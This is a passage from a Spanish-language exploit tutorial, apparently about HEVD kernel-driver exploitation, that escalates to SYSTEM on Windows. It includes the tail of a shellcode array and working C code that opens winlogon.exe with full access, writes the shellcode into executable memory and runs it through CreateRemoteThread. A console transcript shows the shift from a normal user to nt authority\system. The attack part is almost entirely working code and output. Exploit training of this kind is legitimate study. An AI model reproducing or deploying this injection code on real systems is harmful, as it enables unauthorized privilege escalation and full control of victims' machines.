    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
    0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
    0xda, 0xff, 0xd5, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00
};

Luego de obtener el pid podemos utilizar OpenProcess con derechos ALL_ACCESS

    DWORD pid = FindProcessId(L"winlogon.exe");
    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

Usando VirtualAllocEx reservamos un buffer en el proceso para posteriormente utilizando WriteProcessMemory escribir nuestro shellcode para ejecutar cmd.exe

    LPVOID buffer = VirtualAllocEx(process, NULL, sizeof(cmd), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);  
    WriteProcessMemory(process, buffer, cmd, sizeof(cmd), NULL);

Finalmente utilizamos CreateRemoteThread para crear un hilo bajo winlogon.exe que ejecute nuestro shellcode, de esta forma se ejecutará con privilegios elevados

    CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE) buffer, NULL, 0, NULL);  
    CloseHandle(process);

Un ejemplo puede ser el siguiente exploit de HEVD donde con el acl editing logramos modificar el acl de winlogon.exe para posteriormente inyectar y crear un hilo que ejecuta nuestro shellcode y lanza una shell como nt authority\system

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe  

Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>